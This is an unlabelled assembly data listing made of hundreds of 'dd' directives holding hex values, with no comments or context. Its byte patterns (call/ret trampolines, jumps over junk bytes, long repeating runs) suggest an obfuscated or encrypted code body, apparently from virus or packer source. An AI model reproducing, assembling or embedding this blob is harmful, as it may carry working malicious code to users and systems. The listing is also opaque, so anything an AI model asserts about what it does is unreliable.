		dd 0F5000000h, 8E95051h, 19000000h, 3F1BDD7Ch, 5E5A228Fh
		dd 6602048Fh, 815AB8BBh, 5C73D3EBh, 4E88379h, 0D50A16BBh
		dd 4F8817Eh, 0FFFFF91h,	1785h, 0F88B6600h, 32E9h, 21E4A500h
		dd 0C635906Ah, 0BE92941h, 0C1661E31h, 6850Fh, 0EF810000h
		dd 33ABFAFBh, 0FFFF6DE9h, 0CF1DFAFFh, 6FDBBF29h, 2D585FBAh
		dd 787A6F1Bh, 0E8AA6E4Ah, 0Bh, 0EF065117h, 9CC805ACh, 607FB976h
		dd 0DE9h, 66BF1E00h, 0BED0E10h,	8F5ED315h, 0BA66544Bh
		dd 5F61B4C8h, 0F7816660h, 8B66DAC7h, 0C78161CAh, 5911h
		dd 8E7B866h, 0F57D233h,	8B5BDFB7h, 12E91734h, 0CD000000h
		dd 0AF92EF8Ch, 0D7A9D423h, 54B357B0h, 81AD442Fh, 7DEE81EFh
		dd 0B90734DBh, 46F0F613h, 27B7EE81h, 0D88063FFh, 0B3F68159h
		dd 6018504Dh, 6830Fh, 870F0000h, 0
		dd 0C2B70F60h, 8E9h, 8F501C00h,	3243EAADh, 56616120h, 48FC78Bh
		dd 0FC78A17h, 487h, 61605100h, 1BEA8158h, 662622DCh, 7ABFCB81h
		dd 0DC17C281h, 0FA812622h, 0FFFFA7B8h, 0FF7D850Fh, 6E9FFFFh
		dd 0BB000000h, 9544D79Dh, 83C08B27h, 73101BDh, 9750006h
		dd 0A55BD83h, 74000607h, 8B535019h, 421B8C0h, 85890000h
		dd 6072BADh, 0B3F29D8Dh, 0D3FF0609h, 0BD83585Bh, 6070A55h
		dd 50177400h, 421B853h,	85890000h, 6072BADh, 0B0E19D8Dh
		dd 0D3FF0609h, 0C08B585Bh, 0FCD9D8Bh, 85C60607h, 6071C4Dh
		dd 0B8526856h, 0B5FF9CA8h, 60712EDh, 7CFE858Dh,	0D0FF060Ah
		dd 68046Ah, 0FF000010h,	72AD5B5h, 0FF006A06h, 0FC085D0h
		dd 0D85h, 0B800h, 8D8D0000h, 607715Dh, 0C88BE1FFh, 4003C38Bh
		dd 0F8053Ch, 508B0000h,	83D3030Ch, 722D9BDh, 840F0006h
		dd 0Eh,	22D99D8Bh, 858B0607h, 6070909h,	52510389h, 421F858Dh
		dd 0D0FF0607h, 0F18BFA8Bh, 0C88BD18Bh, 85C6A4F3h, 6071C4Dh
		dd 6D396856h, 0B5FFD41Fh, 60712EDh, 7CFE858Dh, 0D0FF060Ah
		dd 800068h, 52006A00h, 0C08BD0FFh, 3101BD83h, 75000607h
		dd 55BD8309h, 6070Ah, 53501974h, 21B8C08Bh, 89000004h
		dd 7217D85h, 599D8D06h,	0FF0609B4h, 83585BD3h, 70A55BDh
		dd 17740006h, 21B85350h, 89000004h, 7217D85h, 0FA9D8D06h
		dd 0FF0609B0h, 8B585BD3h, 0D99D8DC0h, 8B060722h, 0FC00B03h
		dd 784h, 8B038B00h, 1889045Bh, 4B41B8h,	0AE800h, 32890000h
		dd 0F3E2585Eh, 0B7D4B16Eh, 5810Fh, 0BABE0000h, 5B4FB1C1h
		dd 8870Fh, 850F0000h, 2, 0C3815A56h, 5CA0h, 16DF68h, 14E900h
		dd 0D9260000h, 477538DCh, 5A6FFBE4h, 0C33E53B4h, 812417h
		dd 0F5FB93Dh, 33FFD3B7h, 0E859C38Bh, 11h, 0F53B384h, 0C3FC76B9h
		dd 208762CDh, 0E68748BFh, 0DB8AB81Eh, 815E51FFh, 0ABAD2F1h
		dd 0FD0803Ah, 6B04C181h, 14E8077Eh, 8A000000h, 675849C2h
		dd 0C7FEE962h, 80A1F895h, 0A5BA5D6Ch, 6626CFF4h, 5A4C43B8h
		dd 0CA0FE981h, 8B663396h, 38F51F3h, 0EE9h, 616C0400h, 2DF1FE8Bh
		dd 8BAC15BAh, 83453A5Bh, 0E95003EBh, 9,	0F341793h, 9F70A090h
		dd 814B58D7h, 0B3682BEAh, 1EF812Eh, 0F000000h, 2585h, 13E900h
		dd 8A810000h, 0D4831CE4h, 0D81DBC9h, 0E60903FEh, 67D2A678h
		dd 2CE9DCh, 59B50000h, 8DB81257h, 0CE92C60h, 7F000000h
		dd 75043090h, 1FE1D66Bh, 0E9595F01h, 0FFFFFF32h, 251C06ECh
		dd 0BC073C74h, 2415629Bh, 8D8D000Fh, 60DAB20h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 9DC35141h, 43E2C83Bh
		dd 29B799EAh, 725ED85h,	418D8906h, 6A06071Bh, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1B042444h, 41000000h
		dd 1ADDC351h, 0AED07A3h, 830FFDA9h, 6, 709958Bh, 85C70607h
		dd 6070605h, 64FCh, 0D9BD3160h,	9060721h, 72D85B5h, 85C76106h
		dd 6070069h, 0
		dd 2D098589h, 0B5FF0607h, 607123Dh, 3091C381h, 95FF65DDh
		dd 60701E1h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 1Bh,	75C35343h, 3E0AB094h, 602B8434h, 29D88B66h, 71B8595h
		dd 6A6106h, 320195FFh, 0C08B0607h, 0D6470CEBh, 332D20E5h
		dd 0BB35AF54h, 10E89911h, 0D3000000h, 0A9208144h, 0D4E958EBh
		dd 9B8DB5AFh, 0F92DDFDh, 286h, 5BF48A00h, 0FC9BD8Bh, 0C3810607h
		dd 6214h, 0BECE8B66h, 1864h, 0D56B8DBFh, 31038B5Fh, 71A0D85h
		dd 0EDF08106h, 8A69A286h, 73C081CCh, 0E9674493h, 0Ch, 504CF93Ah
		dd 0A67CECDFh, 0BD3E25AEh, 3F8DE881h, 9D011264h, 607177Dh
		dd 0D1958B50h, 8F060705h, 8DB58903h, 83060716h,	595604EBh
		dd 1EE81h, 850F0000h, 0FFFFFFADh, 0EB7AD280h, 16h, 4 dup(0)
		dd 0BC010100h, 0D000003h, 12E85006h, 42000000h,	0EFCE7C54h
		dd 10EA88A4h, 3DC087C2h, 0EDB0CDF9h, 59F0B2CDh,	0E9240489h
		dd 12h,	97EE631Ah, 0CBCEE0F6h, 9DE7226Ah, 89037E6Bh, 6AA730h
		dd 16258D8Bh, 6A0607h, 78B0Fh, 66600000h, 38B4D08Bh, 0D1858D61h
		dd 0B5060DACh, 0FE990F8h, 0C2000000h, 0F81865A9h, 254CBCCAh
		dd 0EA7B9F24h, 0E9508E81h, 12h,	0CF386657h, 3186FD1Ah
		dd 89CE0EB3h, 17633915h, 6A9087C4h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1A042444h, 46000000h, 0A639C356h
		dd 0EC63E001h, 6E980h, 69A60000h, 91AAD0C8h, 9589006Ah
		dd 60704E1h, 6A006Ah, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 150424h, 55450000h, 8920EBC3h, 71FC1B5h, 81BD0906h
		dd 0FF060719h, 71BCD95h, 0E4DE8006h, 5EBE9h, 0DA02BA00h
		dd 0E862BAh, 5D000000h,	0ACD6ED81h, 6A060Dh, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1C0424h, 52420000h, 9AF6C1C3h
		dd 0B4A45B3Dh, 0D08BB235h, 2CD5BD31h, 4E80607h,	0A0000000h
		dd 5000000Fh, 0B9310F52h, 41D38E93h, 0E850585Ah, 6, 0D3D23AF6h
		dd 525066ADh, 310F5F51h, 7E8h, 0EF993200h, 4B9916B9h, 5F585A5Fh
		dd 424448Bh, 0BFE12DBFh, 60008B0Ch, 14E8h, 0F126C00h, 0B9D9BD2Eh
		dd 0FB057148h, 8BF83FEEh, 0CE04B387h, 5E867h, 0F96A0000h
		dd 5A3AB19Ch, 9E9605Ah,	44000000h, 59C32830h, 5095EF25h
		dd 8D0Fh, 61610000h, 4244489h, 53006A58h, 3E8h,	0C35B2000h
		dd 245C895Bh, 24448104h, 1904h,	0C3534300h, 0C28017BFh
		dd 95FFAD17h, 6073201h,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 1Bh, 0E3C35141h, 0C50EB80Dh, 667BDD9Ch, 8D031DBBh
		dd 0DABC0B5h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1404h, 0C3524200h, 5206C7EEh, 6A6D6765h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 16042444h, 42000000h, 75B3C352h
		dd 919D89C0h, 0C7060715h, 6E6F0446h, 46C76C63h,	73736108h
		dd 0D0BA6600h, 6A006A30h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1D042444h, 45000000h, 7D49C355h, 848AA61h
		dd 0ECDBEE1Fh, 0BE99D31h, 858D0607h, 60DABC0h, 61605752h
		dd 89505959h, 0B5892404h, 6070229h, 218D3160h, 0BB06070Ch
		dd 7BFBC660h, 1D95FF61h, 0F5060732h, 840FC00Bh,	52h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 18h, 6AC35646h, 87ECB80Bh
		dd 1D69BD8Bh, 99E90607h, 6A000003h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1D042444h, 45000000h, 61CFC355h
		dd 0BD8D6F44h, 564A3036h, 4E8FA8Bh, 2C000000h, 8A000001h
		dd 7E950ECh, 0CA000000h, 75A6B58Eh, 448BCDE5h, 75B20424h
		dd 800F008Bh, 5, 130713BAh, 24448946h, 66606004h, 0E961D78Bh
		dd 12h,	3F79DE17h, 0B1A86CDDh, 0BE761B4Eh, 8DB4ADFh, 5861DC58h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 51C35545h
		dd 99958BFAh, 0BA060717h, 15860947h, 320195FFh,	9E90607h
		dd 63000000h, 71404DA0h, 0CDD1F8Dh, 0ABC0B58Dh,	6A060Dh
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h, 51410000h
		dd 5AF681C3h, 0F502225h, 386h, 9EEE8000h, 319D8B5Bh, 0C7060712h
		dd 34383106h, 12E936h, 0D3B70000h, 5D3EC5E0h, 6BCE4004h
		dd 9383E911h, 444C4DF4h, 370446C7h, 0B931342Dh,	2C8630B5h
		dd 846C7h, 8B000000h, 726ED8Dh,	6AFC06h, 0ABC0858Dh, 6A060Dh
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1D0424h, 56460000h
		dd 0CCB066C3h, 5DE26A0Bh, 0BAB1C880h, 7D1D3412h, 0B2F18166h
		dd 0BA66505Fh, 489AFF3h, 0C2816624h, 95FF22F9h,	607321Dh
		dd 896FBB66h, 840FC00Bh, 61h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Ch, 9DC35040h, 1D770E8h, 2CAAEDA7h
		dd 22E4BF66h, 0F998D89h, 0F1E90607h, 6A000001h,	3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 18042444h, 46000000h
		dd 0D61AC356h, 6632B532h, 17BFDE8Bh, 8B13AD89h,	717D9BDh
		dd 4E806h, 12C0000h, 10E80000h,	28000000h, 0CBF600F4h
		dd 7040C6B2h, 7D1D30FFh, 6049F8EDh, 5250E88Ah, 585A310Fh
		dd 0E9505961h, 13h, 765127DCh, 6F47F624h, 40ABA8F6h, 4DED302Fh
		dd 8B06F7ABh, 8B042444h, 52008BDEh, 441EBB66h, 24448959h
		dd 67B7BB04h, 0E95867E5h, 0Eh, 0EEDEB2D3h, 0C86F19A4h
		dd 73FD89E6h, 95FFCE1Dh, 6073201h, 0ABC0B58Dh, 9E9060Dh
		dd 58000000h, 5AA2A648h, 3E019C29h, 694606C7h, 6A656Ch
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h, 51410000h
		dd 0FE9DAC3h, 6E000000h, 9DA7717Ah, 898CE7ABh, 77C18D2Bh
		dd 46C731FFh, 6E6F6D04h, 0EB816663h, 46C74238h,	73616C08h
		dd 0E98D8B73h, 0F9060717h, 0C46C7h, 23000000h, 72ABD95h
		dd 6A006A06h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 15042444h, 40000000h, 0B423C350h, 0ABC0858Dh, 0BF66060Dh
		dd 8B50887Ah, 240489D3h, 65B589F9h, 0FF060723h,	7321D95h
		dd 5FF58006h, 840FC00Bh, 66h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Bh, 23C35141h, 861CF9EAh, 0E9235BF2h
		dd 70h,	0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 16h
		dd 5DC35242h, 8E9889Eh,	0CA000000h, 26E344A5h, 0FF6A955h
		dd 686h, 0DDBD8B00h, 5306071Fh,	53EF8056h, 0A3E95B5Fh
		dd 6AFFFFFAh, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 19042444h, 43000000h, 4D86C353h, 5A5683D6h, 5619D03h
		dd 0BD8B0607h, 607017Dh, 715DB58Dh, 6A0607h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 170424h, 57470000h, 89628C3h
		dd 9523520Dh, 60716E1h,	0B85Ah,	0D98B0000h, 6AE6FFh, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 190424h, 50400000h
		dd 0F03105C3h, 66FC81C8h, 50A2CA81h, 0CE8C18Bh,	0C1000000h
		dd 0EE1D53E9h, 24FD4069h, 563B6877h, 0AE8h, 2CDB2E00h
		dd 444D5C06h, 297A38CBh, 718B1BDh, 585F5A06h, 1D95B533h
		dd 0C0810607h, 5B2Ch, 1255958Bh, 0CABB0607h, 812E7FF4h
		dd 7FDE2AEBh, 0D9958B2Eh, 0FF060701h, 9E930h, 0B9ED0000h
		dd 46431E84h, 59C70800h, 10E9h,	56E10F00h, 3C05E8F8h, 0D40F3826h
		dd 47BF4565h, 70F181EEh, 660452F6h, 472EDE81h, 9D14C181h
		dd 85017DCBh, 60707B1h,	6F3E981h, 0BD8B4112h, 6072CB9h
		dd 81008F51h, 7523B7F7h, 4E88302h, 1B39B501h, 0F4B0607h
		dd 0FFFF9E85h, 218529FFh, 0FE06071Fh, 0BCA7BCAh, 4F42F8A8h
		dd 0BCB468Ah, 0EAD5ABA8h, 0BCB1E75h, 4F43E6A8h,	0AE5DBA8Ah
		dd 4F405357h, 0BC80E8Ah, 0EAD5ABA8h, 0BC8D175h,	4F4081A8h
		dd 0BC9538Ah, 4F4103A8h, 0BC9D58Ah, 0EAD5ABA8h,	0D42F2575h
		dd 1327E031h, 0E2D2C003h, 90A752A5h, 57AFF08Dh,	0A65ED121h
		dd 0D42F4387h, 1327E1F6h, 0E2DAC003h
		dd 90A752A5h, 57AFF03Ch, 0A6AAD121h, 0D42F4387h, 1327E2A5h
		dd 0E226C003h, 90A752A5h, 57AFF3E8h, 0A6A6D121h, 0D42F4387h
		dd 1327E20Eh, 0E232C003h, 90A752A5h, 57AFF365h,	0A6B2D121h
		dd 0D42F4387h, 1327E398h, 0E23EC003h, 90A752A5h, 57AFF2FBh
		dd 0A68AD121h, 0D42F4387h, 1327E31Ah, 0E206C003h, 90A752A5h
		dd 57AFF261h, 0A682D121h, 0B8C34387h, 152A5012h, 0D24ECEDFh
		dd 0FD4AA86Ch, 51A2458Ah, 46C0D5F2h, 96A4483Eh,	152AA8EDh
		dd 2429458Ah, 96E367A0h, 0D5ADBAB4h, 152A54A1h,	5564C6CBh
		dd 0EAD5BA41h, 0AE63CE75h, 122A793Ah, 5342848Ch, 0EA2211ABh
		dd 245D55FFh, 9C3AABA4h, 0DAC3B9CFh, 0D7E3A8EDh, 0DAF74586h
		dd 0E9EED744h, 59D7CEEAh, 0D2262923h, 51A2B9CFh, 0AD6C54A8h
		dd 51A24162h, 0BFEA6603h, 0DB2FEE27h, 132784E9h, 1129475h
		dd 54A0D902h, 0AEA4485Ah, 51A1EC79h, 0DC0941AEh, 18FA1522h
		dd 3773BA8Ch, 732ADF10h, 1028C821h, 0EA2C5978h,	152BFD5Bh
		dd 9881508Ch, 5C720400h, 0A5FBABAEh, 2C89EFD2h,	0E957DDA4h
		dd 0ADE7CEEBh, 15229661h, 0D24ECEDFh, 0FD4AA86Ch, 51A2458Ah
		dd 6C0D5F2h, 0DAA4483Fh, 68A15CDDh, 0ADE78286h,	152A54A8h
		dd 5830BACCh, 9E2C53BFh, 0FC69CE52h, 0A5B99783h, 0FA31EFE2h
		dd 54A0D9F9h, 0AEA4485Ah, 949A0D79h, 551A2320h,	8481328Ch
		dd 5DDF6E21h, 74D62921h, 985E0001h, 402A5C6Ah, 9521A901h
		dd 15C23454h, 0BA2458Ah, 0A040BE29h, 24294387h,	1957DFA0h
		dd 515E004Dh, 532A54A8h, 46ABD775h, 0CDA152AFh,	0FC69CE19h
		dd 0A5B9979Bh, 0FA31EFE2h, 54A0D9F9h, 0AEA4485Ah, 949A0D79h
		dd 651A2320h, 8481328Ch, 5DDF6E21h, 74D62921h, 985E0001h
		dd 402A5C6Ah, 9521A901h, 60A13454h, 5DDFCE82h, 15D6116Fh
		dd 0FDA2458Ah, 1DC9953Bh, 919197B9h, 38F2DE04h,	51A2454Ah
		dd 1AD5A828h, 51A25E0Eh, 1523EDA8h, 0A055458Ah,	9025862Dh
		dd 51A24586h, 7332A328h, 37AA8E4Bh, 0BE4C9723h,	0D8AE38A1h
		dd 9E4BA8D5h, 936BB9CFh, 9E7F54A0h, 0AD66C666h,	1D5FDFC8h
		dd 96AE3801h, 152AA8EDh, 0C20E458Ah, 2622B769h,	0FD627658h
		dd 0D5078C22h, 0D1A2458Ah, 9125AB54h, 51A24593h, 152A5D11h
		dd 0D453B28Ah, 1FAF5B7Ah, 0E0A2458Ah, 93E25610h, 9191EF4Bh
		dd 19577F03h, 305E3803h, 0DCD61123h, 4A24D48h, 0D1A9B823h
		dd 24292576h, 1957DFA0h, 515E004Dh, 0B92A54A8h,	0B2229D00h
		dd 85E1D4A7h, 0DC088600h, 18FA1522h, 0E173BA8Ch, 9FA7FEF8h
		dd 57AF95CBh, 0D6A08557h, 5DDF6E20h, 74D62921h,	985E0001h
		dd 402A5C6Ah, 9521A901h, 60A13454h, 5DDFCE82h, 15D6116Fh
		dd 0E9A2458Ah, 152A54AFh, 518FD775h, 452652AFh,	1028C820h
		dd 0EA2C5978h, 0FB2BF55Bh, 3186949Bh, 59622E85h, 0A58050ACh
		dd 2C89EFAEh, 0E957DDA4h, 0ADE7CEEBh, 15229661h, 0D24ECEDFh
		dd 9E4AA86Ch, 2C294DFFh, 0E96F93A4h, 51A2458Ah,	87D5FE04h
		dd 57A55283h, 17868C23h, 0DB2FEF49h, 132784E9h,	0E9C49475h
		dd 0BE4CBD28h, 7A088600h, 68A358D5h, 14292476h,	1DE89D54h
		dd 0BD29108Ah, 75D6902Bh, 0DAAA3001h, 50ED58D5h, 51A24576h
		dd 0EA80F8A8h, 56B54C18h, 0B9E2DFAEh, 0DC088558h, 18FA1532h
		dd 3771BA8Ch, 73E39410h, 0FB63CF21h, 9C262983h,	0DAC3B9F7h
		dd 0D7E3A8EDh, 0DAF74582h, 0E9EED744h, 59D7CEEAh, 0D2262923h
		dd 51A2B9CFh, 0BF8654A8h, 46ABD775h, 0DDA152AFh, 0FB637726h
		dd 0C56BCE25h, 825D4387h, 0E4AAECCEh, 9028EEECh, 19577F02h
		dd 305E3803h, 0DCD61123h, 4A24D48h, 0D1A9B823h,	24292576h
		dd 1957DFA0h, 515E004Dh, 732A54A8h, 376B7732h, 54B0D903h
		dd 0AEA4485Ah, 9592327Bh, 0FD09234Bh, 6801FE04h, 0ADDFCC86h
		dd 0E96FDFC9h, 51AA8743h, 96C6DFFDh, 0DAC2B94Eh, 68A15CDDh
		dd 0ADE78286h, 152A54A8h, 0B824FDECh, 8FA7FFCEh, 57AF95CBh
		dd 0A09A8757h, 0FB0E0320h, 0C56BCE25h, 825D4387h, 0D8ACECCEh
		dd 2C89EEECh, 0E957DDA4h, 0ADE7CEEBh, 15229661h, 0D24ECEDFh
		dd 0FD4AA86Ch, 51A2458Ah, 2EC0D5F2h, 96A44832h,	152AA8EDh
		dd 2429458Ah, 1957DFA0h, 5E917926h, 152A1E2Ch, 5E89798Ah
		dd 152A162Ch, 5ECA798Ah, 152A492Ch, 5E13798Ah, 152A382Ch
		dd 5EF2798Ah, 152A5C2Ah, 5EFA798Ah, 152A6B2Ah, 51D6AC8Ah
		dd 60D554A8h, 59D7BA86h, 0A65ACE25h, 0DCF14387h, 189E1332h
		dd 0D871BA8Ch, 42C3A8EDh, 0AEA2458Ah, 60D558DDh, 0D138C882h
		dd 462C591Bh, 0E5E5DF07h, 0C6D552A5h, 0B85E0003h, 152A5492h
		dd 0AEAE3075h, 8FA75CDDh, 57AFF606h, 52B0D9FBh,	0AEA4483Eh
		dd 0E96FDD7Bh, 51A25863h, 195FABA8h, 0DCAA3075h, 1899CC32h
		dd 0CB2F168Ch, 1327E0EFh, 142B9675h, 152ABD54h,	0DAC3458Ah
		dd 0D7E3A8EDh, 44BA4582h, 0E9000030h, 2Ah, 2404C7h, 0E8000000h
		dd 0
		dd 17ED815Dh, 8B060DB9h, 89042444h, 71FCD85h, 0B806h, 8D8D0000h
		dd 6074DB4h, 54B8E1FFh,	8D000067h, 0DBA1B8Dh, 53006A06h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1504h, 0C3534300h
		dd 0DA807DF5h, 0A2BB66B9h, 418D89D0h, 0F06071Bh, 682h
		dd 1950B00h, 0C7060726h, 7060585h, 6C6406h, 0C7C28B00h
		dd 7006985h, 6,	57006A00h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1504h, 0C3574700h, 0B58BC43Ch, 60712D1h
		dd 0E9DBB70Fh, 0Bh, 0BFFE91A4h,	7768E386h, 0FF0A20CCh
		dd 70BA5B5h, 51006A06h,	3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1404h, 0C3514100h, 8585293Eh, 8006072Dh, 95FFCCD3h
		dd 60701E1h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 18h,	39C35646h, 11F616ECh, 0FF006AF9h, 7320195h, 0EBC08B06h
		dd 3225AA18h, 7EA415E2h, 0AE007C86h, 0CE15AC5Fh, 0E84DD8A6h
		dd 0E60F5A00h, 0A59D8D16h, 0B8060725h, 1434h, 0C258589h
		dd 0E80607h, 58000000h,	0D05h, 0E9038900h, 1434h, 50Dh dup(0)
		dd 75FDED55h, 76F67A5Eh, 56E669A4h, 17FD49BCh, 75FD204Dh
		dd 0CAFD2063h, 28FD2077h, 1AFD20FDh, 0F0FD2038h, 0D9FD20DAh
		dd 0BEFD20ABh, 95FD2013h, 0D0FD204Fh, 0A9FD2060h, 2FD2077h
		dd 6FFD20FFh, 4CFD2039h, 29FD20DBh, 0D5FD20AAh,	39FD2011h
		dd 9DFD204Dh, 95358A25h, 76D6A222h, 5CDE714Ah, 5CF44BBDh
		dd 75FD7A5Ah, 75F57227h, 74FD7997h, 73FD78CBh, 74F57DEDh
		dd 74FC7BF3h, 75FC7B78h, 75FD7ABCh, 76FD7A5Eh, 75A77E78h
		dd 75A77E10h, 75FD7ACBh, 74FC7BE4h, 74FC7BF3h, 75F8B290h
		dd 0F0701ABCh, 73F0A8F9h, 0BB23FFA6h, 0F0707C9Ah, 73F0A876h
		dd 0BB63FF6Ch, 0F0707CFFh, 73F0A882h, 0BB27FF35h, 0F0707C53h
		dd 73F0A874h, 0BB5FFF1Eh, 0F0707CC6h, 73F0A8FFh, 0BB5BFF7Bh
		dd 0F0707C74h, 73F0AA04h, 0BB57FFD7h, 0F0707C22h, 73F0AA5Dh
		dd 0BB53FF42h, 0F0707CE8h, 73F0AA12h, 0BB4FFFF0h, 0F0707CB1h
		dd 73F0AB65h, 0BB43FFA6h, 0F0707C9Ah, 73F0ABCCh, 0BB4BFF6Ch
		dd 0F0707CFFh, 73F0AB5Fh, 0BB47FF35h, 0F0707C53h, 73F0AB14h
		dd 0BB43FF1Eh, 0F0707CC6h, 73F0AB90h, 0BB33FF7Bh, 0F0707C74h
		dd 73F0AB28h, 0BB2FFFD7h, 0F0707C22h, 73F0AB20h, 0BB2BFF42h
		dd 0F0707CE8h, 73F0A8F2h, 0BB3FFFF0h, 0F0707CB1h, 73F0A869h
		dd 0BB3BFFA6h, 0F0707C9Ah, 73F0A819h, 0BB37FF6Ch, 0F0767CFFh
		dd 73FA6D70h, 0BAEAFF35h, 0F0767C53h, 73FA7A02h, 0BAE6FF1Eh
		dd 0B69C7CC6h, 9D11F1B0h, 75FD7AF2h, 5E17FB23h,	25FB776Ch
		dd 0FDF53FD5h, 78326CADh, 0B7342291h, 23AC7ACFh, 20AD29B7h
		dd 75FD7A1Ah, 987C2779h, 73F0AAF0h, 0BB60FFA0h,	0C87D7C22h
		dd 73F0B40Ah, 0C5B409CFh, 0B54B75E4h, 3589BAF9h, 0BAE6EF86h
		dd 0FEBD7CB1h, 7A452B96h, 8AFD7A2Fh, 78326102h,	0EB48F7CDh
		dd 0F8FB772Bh, 9D50FCC6h, 75FD7E4Bh, 76456FCFh,	8AFD7A5Eh
		dd 783261BAh, 0EB48F791h, 0F8FB7705h, 8A50FCD1h, 0BC1F2322h
		dd 0BB60F787h, 2DA07CB1h, 2CA32005h, 776D92ECh,	0CD4D7A97h
		dd 8A5779C1h, 78326D70h, 9D3ED1F4h, 75FD7807h, 0CD9BC2DAh
		dd 0DE9B5954h, 0BAEAEFD0h, 0DE9B7C9Ah, 77959208h, 360B7AE5h
		dd 6E8872F3h, 0BAEAEF86h, 0C54D7CB1h, 8AAD7954h, 78326DBAh
		dd 0F69B2091h, 7E9B7E2Bh, 0B6561C27h, 75FF6B1Ah, 4E152979h
		dd 2FFD7ABEh, 7B89A065h, 913D59A5h, 0F5DF7094h,	0FE4DBA07h
		dd 9D3ED183h, 75FD7B00h, 77E1922Ah, 4EA77ABCh, 0C5120E84h
		dd 0A916D049h, 75FCA77Fh, 74BE8CCBh, 26D30FEDh,	75FF7B1Ah
		dd 360B2079h, 548872BDh, 6889A065h, 913D59A5h, 0F5DF7094h
		dd 0FF4DBA07h, 626885B5h, 2FFB773Dh, 51FD5F1Fh,	133F71DAh
		dd 0E94DB9F5h, 74BD9285h, 0F44D7A97h, 74359261h, 2D157AE5h
		dd 0DEFD7AF2h, 75FC5791h, 0DF60CABCh, 0DF61CA9Dh, 75FC5BC7h
		dd 13451C97h, 9D561C4Ah, 75FD7B43h, 75FD4C1Ah, 9D561C79h
		dd 75FD7BB6h, 0B657E7EEh, 9D57E69Fh, 75FD7A69h,	75FCF323h
		dd 74BE8CE5h, 0C5F20FFAh, 6515D0F9h, 0DFFD7ABCh, 7DF99EDEh
		dd 0AA158448h, 0C5FD7A97h, 0CD3ED056h, 75FD7AE2h, 0BAE6EF0Dh
		dd 0C0707C74h, 73F0B45Eh, 7F518A5Dh, 0E002D02Ch, 73F0B580h
		dd 74E59208h, 254D7AE5h, 9D5779F8h, 8A02844Bh, 75FC4354h
		dd 7FA5CA5Eh, 0C53ED02Ch, 274DD0C7h, 8BE19261h,	0CD9B851Ah
		dd 0DE9B4BFDh, 8A036B91h, 0DFA7CA43h, 0B65722EEh, 2257929Fh
		dd 750C923Ch, 0FEA77ACBh, 0F63F5122h, 77747E1Ah, 8A008B91h
		dd 75059243h, 2D4D7A5Eh, 0B6577925h, 0BB69FF69h, 0C87D7CC6h
		dd 73F0B471h, 0F8EC0FF3h, 78327CFCh, 61152ABAh,	9DFD7A5Ch
		dd 75FD781Bh, 9D571A27h, 8A028775h, 8A00C30Dh, 0DF9CCA0Dh
		dd 0BB69F787h, 0C87D7CB1h, 73F0B4CAh, 0F8F10F2Fh, 78327C12h
		dd 0DE152ACDh, 0B6FD7AE4h, 75FD7E4Ah, 6E688579h, 0F8FB7773h
		dd 782E19C3h, 6DF9F029h, 9C4DB93Dh, 9D562D61h, 75FD7A8Eh
		dd 5E3AF1A8h, 7115F9BBh, 8A3E7835h, 78326DCBh, 514ACE29h
		dd 0C1FF0E96h, 13F2CA74h, 75C9924Eh, 9DAE7AF2h,	75FD7A27h
		dd 0B5FEF0E6h, 0B5F179BEh, 0B6577825h, 0BAEAEF68h, 917D7CC6h
		dd 0F539FAEAh, 0DE9B7542h, 5A15D12Eh, 2F028541h, 0B7D6BDD5h
		dd 0FCF992ACh, 7345B995h, 8AFD7ACBh, 78326170h,	8F60F7F4h
		dd 0F8FB77B7h, 0CD3E39A0h, 75FD7A4Eh, 0BAE6EFD0h, 0B57E7C9Ah
		dd 8935F1CEh, 0BAEAEF1Ah, 97577CFFh, 0BE15B98Eh, 0FF028543h
		dd 72D97B1Dh, 76778E5Ah, 75FC6C7Fh, 0B61608CBh,	8908831Dh
		dd 0F611F1A7h, 9D9D86BDh, 75FD7ABCh, 617FB04h, 0FCFB77FCh
		dd 0CF7D86EAh, 73F0B5DDh, 0EC7975E5h, 0CDFD7AF2h, 75FD7A73h
		dd 0BAE6E843h, 0FCBD7C53h, 783265ADh, 0F835F191h, 78293D79h
		dd 626F85E3h, 0FDFB773Dh, 801F3C7Fh, 75FD6D04h,	6A7F795Eh
		dd 35FB77E0h, 0A1C6E01Ah, 0B67E7CC6h, 22FEF3E1h, 75FD644Bh
		dd 6A777979h, 0F8FB7773h, 782953ECh, 2B598929h,	75FD722Fh
		dd 6E6F85CBh, 0F6FB772Ah, 85897E0Ah, 72447C71h,	7DFD7ABCh
		dd 0C3F24B5Ah, 761EBBF7h, 75FD742Eh, 44E172CBh,	75FD765Ch
		dd 44F972F2h, 75FD61C0h, 44F972BCh, 75FD66E7h, 44F9722Fh
		dd 8A015B7Fh, 8980F334h, 8980F184h, 9DADB93Bh, 75FD7A7Fh
		dd 1102229Ch, 0FCA58E7Ah, 0E9055E6Bh, 89D93E16h, 67C92CB3h
